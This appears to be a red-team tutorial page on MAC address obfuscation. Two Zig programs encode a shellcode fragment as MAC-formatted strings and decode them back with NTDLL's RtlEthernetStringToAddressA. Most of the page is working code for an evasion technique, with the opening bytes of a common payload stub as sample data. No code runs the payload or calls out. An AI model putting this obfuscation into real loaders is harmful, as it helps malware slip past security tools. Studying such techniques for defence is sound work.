MAC Address Obfuscation
TL;DR
MAC address obfuscation converts shellcode into strings formatted like hardware
MAC addresses (e.g., AA-BB-CC-DD-EE-FF
). Because such strings are common in
network configuration data, they may not raise suspicion when stored or
transmitted. The program later splits these strings, converts the hexadecimal
pairs back into bytes, and concatenates them into the original payload. While
simple, this technique effectively hides binary code from direct inspection.
Obfuscation
main.zig
const std = @import("std");
/// Generates a MAC address string from 6 raw bytes
fn generateMAC(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, buffer: []u8) []const u8 {
// Format the 6 bytes as a MAC address string (XX-XX-XX-XX-XX-XX)
return std.fmt.bufPrint(buffer, "{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}", .{
a, b, c, d, e, f,
}) catch unreachable;
}
/// Generate the MAC output representation of the shellcode
fn generateMacOutput(pShellcode: []const u8, writer: anytype) !bool {
const shellcodeSize = pShellcode.len;
// If the shellcode buffer is empty or the size is not a multiple of 6, exit
if (shellcodeSize == 0 or shellcodeSize % 6 != 0) {
return false;
}
try writer.print("const mac_array = [_][*:0]const u8{{\n\t", .{});
// Buffer to hold the MAC address string (XX-XX-XX-XX-XX-XX = 17 chars + null)
var macBuffer: [32]u8 = undefined;
var counter: usize = 0;
// Process the shellcode in groups of 6 bytes
var i: usize = 0;
while (i < shellcodeSize) {
// Generate a MAC address from the current 6 bytes
const mac = generateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], &macBuffer);
counter += 1;
// Print the MAC address
if (i == shellcodeSize - 6) {
// Last MAC address
try writer.print("\"{s}\"", .{mac});
} else {
// Not the last one, add comma
try writer.print("\"{s}\", ", .{mac});
}
// Move to the next group of 6 bytes
i += 6;
// Add a newline for formatting after every 6 MAC addresses
if (counter % 6 == 0 and i < shellcodeSize) {
try writer.print("\n\t", .{});
}
}
try writer.print("\n}};\n\n", .{});
return true;
}
pub fn main() !void {
// Example shellcode (must be a multiple of 6 bytes)
const shellcode = [_]u8{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, // 1st MAC
0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, // 2nd MAC
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, // 3rd MAC
0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, // 4th MAC
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, // 5th MAC
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, // 6th MAC
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, // 7th MAC
};
// Use stdout as the writer
const stdout = std.io.getStdOut().writer();
std.debug.print("[+] Generating MAC address representation for {} bytes of shellcode\n", .{shellcode.len});
// Generate and print the MAC address representation
if (try generateMacOutput(&shellcode, stdout)) {} else {
std.debug.print("[!] Failed to generate MAC address representation\n", .{});
}
}
Deobfuscation
main.zig
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
const NTSTATUS = win.NTSTATUS;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
// Define function pointer type for RtlEthernetStringToAddressA
const fnRtlEthernetStringToAddressA = fn (
S: PCSTR,
Terminator: *PCSTR,
Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;
/// Deobfuscates an array of MAC addresses into a byte buffer
pub fn macDeobfuscation(
macArray: []const [*:0]const u8,
allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
// Create a UTF-16 string for "NTDLL"
const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");
// Load the NTDLL library using wide string
const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
if (ntdll_module == null) {
std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetModuleHandleFailed;
}
// Get the address of RtlEthernetStringToAddressA function
const rtlEthernetStringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlEthernetStringToAddressA");
if (rtlEthernetStringToAddressA_ptr == null) {
std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetProcAddressFailed;
}
// Cast the function pointer to the correct type
const rtlEthernetStringToAddressA: *const fnRtlEthernetStringToAddressA = @ptrCast(rtlEthernetStringToAddressA_ptr);
// Calculate the size of the buffer needed (number of MAC addresses * 6 bytes each)
const bufferSize = macArray.len * 6; // MAC addresses are 6 bytes each
// Allocate memory for the deobfuscated shellcode
const buffer = try allocator.alloc(u8, bufferSize);
errdefer allocator.free(buffer);
// Using a raw pointer to keep track of our current position
var tmpBuffer: [*]u8 = buffer.ptr;
// Deobfuscate each MAC address
for (macArray) |macAddress| {
var terminator: PCSTR = undefined;
// Convert the MAC address string to bytes
const status = rtlEthernetStringToAddressA(macAddress, &terminator, tmpBuffer);
// Check if the status is not SUCCESS (0)
if (status != NTSTATUS.SUCCESS) {
std.debug.print("[!] RtlEthernetStringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ macAddress, @intFromEnum(status) });
return error.RtlEthernetStringToAddressFailed;
}
// Increment tmpBuffer by 6 bytes for the next address
tmpBuffer = @as([*]u8, @ptrFromInt(@intFromPtr(tmpBuffer) + 6));
}
return .{ .buffer = buffer, .size = bufferSize };
}
pub fn main() !void {
// Setup allocator
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const allocator = arena.allocator();
// Example array of MAC addresses (shellcode encoded as MAC)
const mac_array = [_][*:0]const u8{ "FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72", "50-48-0F-B7-4A-4A" };
std.debug.print("[+] Attempting to deobfuscate {} MAC addresses\n", .{mac_array.len});
// Call the deobfuscation function
const result = try macDeobfuscation(&mac_array, allocator);
defer allocator.free(result.buffer);
std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});
// Print all bytes
std.debug.print("[+] Deobfuscated bytes: ", .{});
for (result.buffer) |byte| {
std.debug.print("{X:0>2} ", .{byte});
}
std.debug.print("\n", .{});
}